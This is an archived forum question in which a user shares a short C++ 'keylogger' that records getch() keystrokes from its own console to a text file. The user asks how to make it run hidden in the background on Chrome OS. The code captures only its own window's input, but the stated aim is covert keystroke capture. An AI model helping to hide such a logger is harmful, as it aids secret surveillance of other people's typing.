how to make a program run in the background on chrome os?

i'v writed a keylogger for some fun and for beginning purposes..
to make it work totally i have to make the program run in the background ;P
help?
its on chrome os btw.
i also cant use any additionall libriarys because of how limited programming is on chrome os.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <string>
#include <fstream>
#include <conio.h>
#include <iostream>

using namespace std;

int main(){
	string keylogged;
	ofstream myfile;
	myfile.open("keyloggertest1.txt");
		while (true) {
			keylogged = getch();
			myfile << keylogged;
			myfile.flush();
	}
	myfile.close();
}
Topic archived. No new replies allowed.